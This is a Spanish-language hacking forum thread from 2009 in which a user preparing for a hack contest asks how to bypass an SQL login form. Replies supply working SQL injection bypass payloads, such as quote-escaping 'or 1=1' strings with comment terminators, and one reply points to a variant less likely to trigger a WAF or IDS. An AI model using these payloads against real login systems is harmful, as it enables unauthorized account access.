Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: 50l3r en 3 Noviembre 2009, 14:53 pm



Título: Problema al intentar inyeccion SQL
Publicado por: 50l3r en 3 Noviembre 2009, 14:53 pm
Código:
ERROR SQL: SELECT * FROM usuarios WHERE usuario=''order by 90'' AND clave=''order by 90''::SQL logic error or missing database

este codigo esta sacado de un hack contest, me estoy preparando para cuando llegue a mi localidad que es dentro de dos semanas y estoy practicando ya que deje un poco de la do el deface y me dedique a programar


veran, el reto consiste en superar un login sql, que digo yo, sera por inyeccion, y por lo que veo su estructura es esta

SELECT * FROM usuarios WHERE usuario='$_POST[usuario]' AND clave='$_POST[clave]'

el problema que tengo es que si inyecto codigo para intentar bypasear quedaria asi

SELECT * FROM usuarios WHERE usuario='soler or 1= 1' AND clave='soler or 1=1'

entonces los or quedarian dentro de las comillas, que podria hacer?


Título: Re: Problema al intentar inyeccion SQL
Publicado por: Kasi en 3 Noviembre 2009, 22:07 pm
Buenas, primero tienes que conseguir salir de las comillas, la manera mas sencilla es poniendo otra comilla antes de los datos, por ejemplo :

Si la SQL de login es esta :

Código:
SELECT * FROM usuarios WHERE usuario='$_POST[usuario]' AND clave='$_POST[clave]'

y de login pones soler y de pass 1234 quedaria :

Código:
SELECT * FROM usuarios WHERE usuario='soler' AND clave='1234'

pero si pones de login :
Código:
' or  1=1 --
podrias escapar la SQL quedando asi :
Código:
SELECT * FROM usuarios WHERE usuario='' or 1=1 --' AND clave='1234'

Aunque la clave ya daria igual lo que pongas puesto que seria un comentario.

Donde los dos guiones son comentarios (al igual que las // en C o la ' en VB)

Esta es la manera mas simple de inyectar SQL, la mas conocida y por lo tanto la mas vigilada, pero bueno te sorprenderia saber que todavia existen sitios donde cuela xDD.

Un saludo


Título: Re: Problema al intentar inyeccion SQL
Publicado por: Darioxhcx en 3 Noviembre 2009, 22:11 pm
' or '1'='1 tmb funcaria no ? (en password no user)
tmb se podria . si no me fallan los calculos

user: asdas
pass: asdas' or '1'='1

creo que asi lo hice una ves :¬¬
b3rz3k o algo asi el nick :P
habia puesto una lista.. fijate si lo encontras x ahi
saludos


Título: Re: Problema al intentar inyeccion SQL
Publicado por: LightOS en 3 Noviembre 2009, 22:29 pm
Si la BD es MySQL, el -- no funciona, se tiene que usar -- -
entonces lo mas pratico seria
' or '
que queda asi:
SELECT * FROM usuarios WHERE usuario='' or '' AND clave='' or ''
Tambien es menos probable que lo detecte un WAF/IDS.


Título: Re: Problema al intentar inyeccion SQL
Publicado por: 50l3r en 3 Noviembre 2009, 22:33 pm
mirare haber si cuela, gracias ;)


Título: Re: Problema al intentar inyeccion SQL
Publicado por: WHK en 3 Noviembre 2009, 22:37 pm
Hola, prueba con un user válido porque si le das un user que no existe no le hará select a nada.

admin' and 1=1--+

o puedes obtener el primer id con

x' or like usuario '%' limit 1 --+

con eso invalidas la primera comparación "=" y le inyectas un like y por orden mysql obtendrá el primer resultado de arriba hacia abajo ya que le indicamos un limit 1 para que no haya problemas al mostrar los datos en pantalla o si no te dirá error y terminas con un comentario para invalidar el resto de la query.


Título: Re: Problema al intentar inyeccion SQL
Publicado por: 50l3r en 4 Noviembre 2009, 22:48 pm
whk, la sentencia que me devuelve es esta:

ERROR SQL: SELECT * FROM usuarios WHERE usuario='x' or like usuario '%' limit 1 --+' AND clave='sax'::SQL logic error or missing database

lo testee con el sql inyect mee de security compas y dice que el formulario no contiene inyeccion sql mmm, de que otra forma se puede pasar un formulario sql si no es con inyeccion?

madre mia tiene que ser facilisimo  :(


Título: Re: Problema al intentar inyeccion SQL
Publicado por: AlbertoBSD en 5 Noviembre 2009, 05:22 am
AND clave='sax'

De donde sale este dato, tu lo injectastes o que onda


Título: Re: Problema al intentar inyeccion SQL
Publicado por: 50l3r en 5 Noviembre 2009, 11:20 am
si, lo inyecte, por poner algo


Título: Re: Problema al intentar inyeccion SQL
Publicado por: braulio-- en 5 Noviembre 2009, 14:01 pm
Y que pasó con los primeros?


Título: Re: Problema al intentar inyeccion SQL
Publicado por: 50l3r en 5 Noviembre 2009, 15:34 pm
que primeros :/, las sentencias que coloque estan ahi en el anterior post


Título: Re: Problema al intentar inyeccion SQL
Publicado por: braulio-- en 5 Noviembre 2009, 15:53 pm
Las inyecciones que puso kasi ?


Título: Re: Problema al intentar inyeccion SQL
Publicado por: 50l3r en 5 Noviembre 2009, 18:04 pm
correcto :D era eso, tenia que escapar de las comillas, muchas gracias